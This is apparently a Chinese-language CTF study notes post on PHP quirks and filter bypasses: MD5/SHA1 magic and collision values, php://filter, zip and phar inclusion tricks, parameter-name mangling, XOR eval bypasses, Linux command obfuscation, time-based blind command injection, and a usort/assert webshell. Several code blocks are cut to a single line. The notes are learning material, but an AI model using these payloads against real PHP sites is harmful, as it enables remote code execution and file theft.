主要是一些函数漏洞
intval()函数
当处理的对象是不为空的数组时会发生错误并返回1
可以将16进制和八进制数转为10进制
会对带小数的数字进行取整
参数如果是字符串,则处理得到的值是根据最左端的数字来决定,例:
intval("12abc")
=>12
intval("abc12")
=>0
对于科学计数法会返回具体数值,对于科学计数法进行计算时会被作为字符串进行处理,也就是上述处理方法
正则
^
:检测字符串开头是否有设定的字符串
$
:检测字符串末尾是否有设定的字符串
/i
:不区分大小写进行匹配
/m
:单行匹配,可利用换行符%0a绕过
目录穿越
对于一些文件读取的函数,可以通过目录穿越实现任意文件读取:
highlight_file()
,readfile()
md5
字符串及其MD5值弱类型比较
0e215962017
经过MD5加密等于0e291242476940776845150308577824
可以绕过MD5等于自身的弱类型比较
两个不同字符串的MD值弱类型相等
这些值MD5加密后开头都是0e开头,能绕过两个参数不同而MD5值相等的弱类型相等:
1 | QNKCDZO |
两个不同字符串的MD5值强类型相等
md5函数处理数组会出错并返回为NULL可以绕过两个参数值不同而md5值强类型相等
MD5截断
利用python脚本基本上可以爆出前6位符合的,一旦截断超过6,爆的时间就比较长了
1 | # -*- coding: utf-8 -*- |
例:
1 | # Desktop\conv\MD5cut>python2 md5cut.py "3df4" 0 |
强类型转换后两不同字符串的MD5值相等
强类型转换后,数组的值都会变成'Array'
,可以通过某些特殊手段得到一些字符串,使之MD5值相等:
小测试:
1 | $a=urldecode('%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2'); |
确实相等,原理尚且不明,研究完了再更新
sha1()
一个类似md5函数的另一个加密函数,算法不同,但漏洞相似
首先是数组绕过,和MD5相同
接着是0e相等绕过:
1 | sha1('aaroZmOk'); |
以及sha1强类型相等绕过:
文章,链接
%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1
和
%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
全局变量
可以通过$GLOBALS
将程序中所有存在的变量输出
协议
php伪协议
直接:
php://filter/resource=
iconv编码:
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=
但iconv编码会导致中文乱码,而我尝试得到的英文也会出现每两个字符出现对调的情况
base64编码
通过base64
编码对输入或输出内容进行编码或解码:
php://filter/convert/resource=
php://filter
昨天听Du1L0ve师傅分析了php://filter
的底层实现,今天测试了一下,确实是很有效,可以说这下是彻底理解了这个方面的用法
起因是强网拟态的一道题:
1 | ini_set("open_basedir","./"); |
关键是:
1 | $r = $_GET['r']; |
他控制了前面的代码,并且还加上了文件位置,而写入的码是base64编码的,这样似乎没法加入过滤器
但经过底层分析,我理解了他的报错
首先是对他的报错分析,我在本地进行测试,我在本地构建了和题目相同,文件夹,将base64编码后的马放入files文件夹,文件名为1
输入值为1,报错如下:
1 | Warning: include(): unable to locate filter "resource=." in C:\phpstudy_pro\WWW\muhua.io\myweb\ce\index.php on line 4 |
那么include的参数是php://filter/resource=./files/1
可以看到php是把filter之后的内容都以斜杠为标志分开,并且将每一个都进行了判断是否为可以构建的过滤器
我成功执行马的payload是:
1 | convert.base64-decode/../1 |
怎么说,为什么执行成功了呢,php://filter
和resource=
发生了什么化学反应呢?
可以看看php://filter
的简单介绍,他有4个参数,就resource参数
来看看它到底有什么说法,他的描述是指定了你要筛选过滤的数据流
,对于文件来说简单理解就是文件的路径,而filter之后可以加什么呢?过滤器。
于是,这两个就不冲突了,首先,判断文件是否存在
对于上述payload,参数resource
的值是:./files/convert.base64-decode/../1
files文件夹下进入一个convert.base64-decode
文件夹,再通过..
,目录穿越回来,于是,它判断该文件是存在的
然后是过滤器的创建:经过Du1L0ve师傅的演示,那么就是会将filter之后的都当做过滤器来尝试进行创建,于是检测内容就是
1 | resource=. |
最后经过检测,成功创建了过滤器:convert.base64-decode
其余的则是会报一个warning
,但不影响文件的执行
最后就是成功通过php伪协议将代码使用过滤器convert.base64-decode
进行处理也就是base64解码,最后进行了文件包含,成功执行了传入的马
不得不说确实是挺有意思的一个小trick,只能说学到很多
感谢@Du1L0ve师傅
Quoted-printable编码
用一些可打印常用字符,表示一个字节(8位)中所有非打印字符方法:
php://filter/read=convert.quoted-printable-encode/resource=
data协议
data协议可以利用文件读取进行读取
输出:
1 |
|
文件包含
1 | include($_GET['muhua']); |
直接打入php代码即可被包含作为php代码执行
格式是:
1 | base64编码绕过: |
压缩为zip文件
如果限制了文件类型可以改名改类型,但文件本质上还是压缩文件,因此仍可以使用协议
例题
1 | $a=$_GET['a']; |
zip协议
格式:
zip://路径/压缩包文件名#压缩包内文件名
zip://upload/1/a.zip#a
payload:
?a=zip://upload/1/a.zip%23a
构成:
include('zip://upload/1/a.zip#a.php')
phar协议
格式:
phar://路径/压缩包文件名/压缩包内文件名
zip://upload/1/a.zip/a
payload:
?a=zip://upload/1/a.zip/a
构成:
include('zip://upload/1/a.zip/a.php')
均可成功包含并执行
换页符绕过trim函数
第一个参数为字符串,无第二个参数时,删去字符串两端的空白字符,例如换行符(%0a)、制表符(%09)、空格(%20),但换页符(%0c)可以绕过该函数(仅在换页符位于字符串之前时)
is_numeric函数
该函数会检测函数是否为数字字符串,但功能符:换行符(%0a),制表符(%09),换页符(%0c)位于数字字符串之前时仍然会返回true,科学计数法也能使得函数返回true,但整个字符串中只能存在一个e
POST和GET参数名中带有点号(.)和方括号(**仅[**)
点号会被转义为下划线,并且是有几个就转义几个:
a.b.c.d
=>a_b_c_d
参数名中的方括号([)也会被转义,但其会防止其后的方括号和点号被转义:
1 | a[b[c.d=>a_b[.c |
例:
1 | eval($_POST['a_b.c']); |
该shell利用payload:
?a[b.c=phpinfo();
die()
该函数执行会结束当前php程序,并且输出参数,如果参数可控可以将该函数用于输出想要的内容
绕过对eval执行的参数的过滤
对于特定参数存在自定义函数过滤的情况:
1 | #ctfshow web入门PHP特性125 |
对$c
过滤了flag,但可以进行二次传参:
GET:?a=flag.php
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[a])
$_SERVER[‘argv’]
设置好php.ini,需要先设置register_argc_argv = On
,并重启服务,否则$_SERVER['argv']
不会生效,这是一个数组,第一个参数是脚本名,之后的参数是传递给脚本的参数
本地显示该数组得到的值是GET传值过程中?
之后的值,例:
1 | $a=$_SERVER['argv']; |
GET:url?a=1+b=2+c
此时得到:
1 | array(2) { |
url中的加号会被解析为空格,但$_SERVER['argv']
会将其作为分隔标志,遇到该符号就会截断,将之前的值存入键0的位置,然后将之后的存入下一个位置
如果此时:
1 | parse_str($a[1]);` |
就能在当前程序中得到一个变量$b=2
GET:url?$a=1
此时得到:
1 | array(2) { |
如果此时:
1 | assert($a[1]); |
就能在将值1赋值给变量$a
$_SERVER[‘QUERY_STRING’]
类似$_SERVER['argv']
,在使用GET方式传入时可以得到?
之后的内容,但不会做任何处理:
1 | var_dump($_GET); |
此时如果:
url?A%2eB=1
则会得到:
1 | array(1) { |
此时点号的url编码(%2e
)已经经过编码和转义了,但$_SERVER['QUERY_STRING']
得到的仅仅是未做任何处理的内容
也就是说如果通过对这个变量的值进行检测来试图过滤参数名中的某些特殊符号,那么是有绕过的可能的
get_defined_vars()函数得到变量信息
该函数可以返回已定义的所有变量,但php7.1之后已经无法动态调用该函数
gettext函数
该函数可以对字符串进行替换,但如果未配置就会直接输出原始字符串,但该函数需要版本较低(我的是php5.4.45nts)或者需要在php配置文件(php.ini)里进行设置,加入一行extension = php_gettext.dll
,才会定义这个函数,此时该函数的函数名也可以用下划线代替,例:
_('muhua')
返回的就是muhua
绕过preg_match()
由于是采用了回溯法,preg_match
函数对字符串的处理是有长度限制的,一旦字符超过一定长度就会因耗尽栈空间而导致爆栈
例如:需要字符串中要含有某个字符串,但又使用preg_match
函数对该字符串进行检测,可以利用脚本在该字符串之前加上很长的一串无意义字符串再传入
例如加上执行以下代码得到的内容
1 |
|
json_decode函数
该函数会将json对象解码成数组时会进行一个Unicode解码,可以进行一些字符串绕过
call_user_func
函数调用类中的静态方法
三种方法:
1 |
|
如果参数是一个数组,该函数会将数组第一个键位的值和第二个键位的值分别作为类名和方法名
call_user_func
函数的调用类中静态方法:链接
三目运算符
a?b:c
等于:
1 | if(a){ |
php函数可以作为数学计算式的一部分进行执行
1 | echo 1+(phpinfo()); |
执行如上代码会执行函数phpinfo,echo输出的仅仅是计算式的值,因此执行输出结果的函数:system
,highlight_file
,show_source
,var_dump
,仅能执行函数嵌套,加入分号是语法错误的
通过异或绕过过滤
有时给出eval
,但会对参数过滤,此时可以使用异或进行绕过
简单异或用脚本:
1 | import string |
既可以使用:((%8f)^(%ff))
也可以使用:(~%8f)
两种格式的原理是相同的
linux命令收集
使用环境变量构造(需要用到美元符号($))
1 | [root@ubuntu] echo $HOME |
普通绕过字符串匹配
引号
命令行中,引号闭合之后是可以隔开字符串但却不影响功能的:
1 | c''at /fl''ag #这样是可以读取到的,就能绕过cat,flag |
反斜杠
1 | c\at /fl\ag #这样是可以读取到的,就能绕过cat,flag |
利用linux指令获取执行结果
例:
1 | ls|tee 1 |
1 | if [ `ls /|awk 'NR==4'|cut -c 1` == 'a' ];then sleep 3;fi |
awk和cut一起使用进行盲注
AWK 是一种处理文本文件的语言
当执行结果无输出且文本成多行时(例如执行ls
指令时目录列表呈现多行),可以使用awk的内建变量NR
对行数进行选择
cut指令的参数-c :以字符为单位进行分割
对于分割出的每一个字符进行匹配,匹配成功则会执行sleep 3
,通过对时间长度的判断(requests.get(url,timeout=(2.5,2.5))
),得知匹配成功与否
利用tee指令获取输出
出现反引号,exec,shell_exec时,虽然是命令执行,但这些命令执行没有输出,可以使用tee指令
Linux tee命令用于读取标准输入的数据,并将其内容输出成文件。
rev,cat,tac
文件读取,rev可以倒序输出文件内容,可以绕过对文件内容字符串的过滤
base64
可以将文件内容进行编码后输出
常见函数功能简要说明
hex2bin函数
该函数可将十六进制转换为字符串,例如:
1 | hex2bin('5044383959474e6864434171594473'); |
call_user_func函数
回调函数,一般有两个参数,第一个参数为函数名,运行后将第一个参数传入的值作为函数执行,而此时执行的函数的参数就是回调函数的第二个参数
usort函数
类似call_user_func
函数
1 | usort($_GET,'asse'.'rt'); |
突然找到的之前写的一个马
第一个参数为数组,第二参数为函数名
该函数会将第一个参数数组里面的值依次作为第二个参数的值作为名字的函数里执行
简单来说,如果此时传入
GET:?a=1+1&2=phpinfo()
此时就能执行该函数,得到phpinfo
页面
注意,数组中从第二个值开始,每隔一个值的命令都可以进行
也就是说:
GET:?a=highlight_file(__FILE__)&2=var_dump(scandir('.'))&c=system('ls /')&d=phpinfo()
这种情况下,能执行的只有var_dump(scandir('.'))
和phpinfo()
这两个函数
substr函数
截取字符串,第一个参数是字符串,第二个参数是截取的起始位置,(如果有)第三个参数是截取的长度。
parse_str函数
解析第一个参数字符串中例如:a=b
,如果没有第二个参数,则在该php程序中会定义一个$a=b
的变量,而如果有第二个参数,那么第二个参数就是作为数组名,这里的a
就作为数组中的一个键。
strrev函数
将字符串倒序
ereg
ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配,例:
ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE
此时检测是否全为字母,可以传入:?c=a%00778
,能绕过该处相等
ereg()只能处理字符串的,遇到数组做参数返回NULL
eregi()函数也可以通过这个漏洞绕过(该函数是不区分大小写匹配)
preg_replace
最近比赛遇到这个正则替换:
1 | if(isset($_GET['aaa']) && strlen($_GET['aaa']) < 200){ |
利用%0a,绕过了这个正则匹配:
?aaa=%0apass_the_level_1%23
因为限制了长度,否则也可以再后面再加一个level,这样就只会替换第二个level
basename函数
截取最后一个斜杠后的部分,但也有例外:
最后一个斜杠后无内容
内容是单个字符,且字符ascii码超过80,例如%81
内容全为%ff
那么截取内容就会变成前一个斜杠后的内容,例如:
1 | var_dump('/var/www/html/index.php/flag.php/%ff'); |
得到的内容就是flag.php
getcwd函数
获取当前目录的绝对路径
parse_str()函数
把字符串解析到变量中:
1 | $a="b=2"; |
最终输出2
也就是说程序中新生成了一个值为2的变量$b
extract()
函数
该函数会读取数组中的键,在当前php空间生成对应名称的变量,而值是其键在数组中对应的值。
base64_
在php版本较低的情况下
base64_encode
和base64_decode
两个函数即使没有引号也能执行成功
localeconv()
该函数作用为查找美国本地的数字格式化信息,其第一个位置的字符为点号,可用于点号的获取
pos()
得到数组中当前数据,初始化的数组的键在第一位,也就是0位
array_resource()
将数组逆序
next()
将数组的键移到下一位,并且输出当前位置的值
原生类
反射类ReflectionClass
利用语句:
1 | echo new ReflectionClass('classname'); |
可以得到类classname
的结构,例如存在的属性和方法
如果是
1 | eval("echo new classname($a);"); |
classname处为原生类名,即可在$a处实现任意代码执行。
获取类中注释语句
1 | $a = new ReflectionMethod($class, $method); |
利用该原生类获取类中方法的信息后,利用原生类中的方法getDoccomment()
,即可返回注释内容,使用函数进行输出
目录读取FilesystemIterator
1 | $iterator = new FilesystemIterator('.'); // 创建当前目录的迭代器 |
文件读取SplFileObject
例如通过SplFileObject("/flag.php")
读取根目录下的flag.php文件,该类还可以通过控制第二个和第三个参数来控制输出文件中从第二个参数的行数到第三个参数的行数。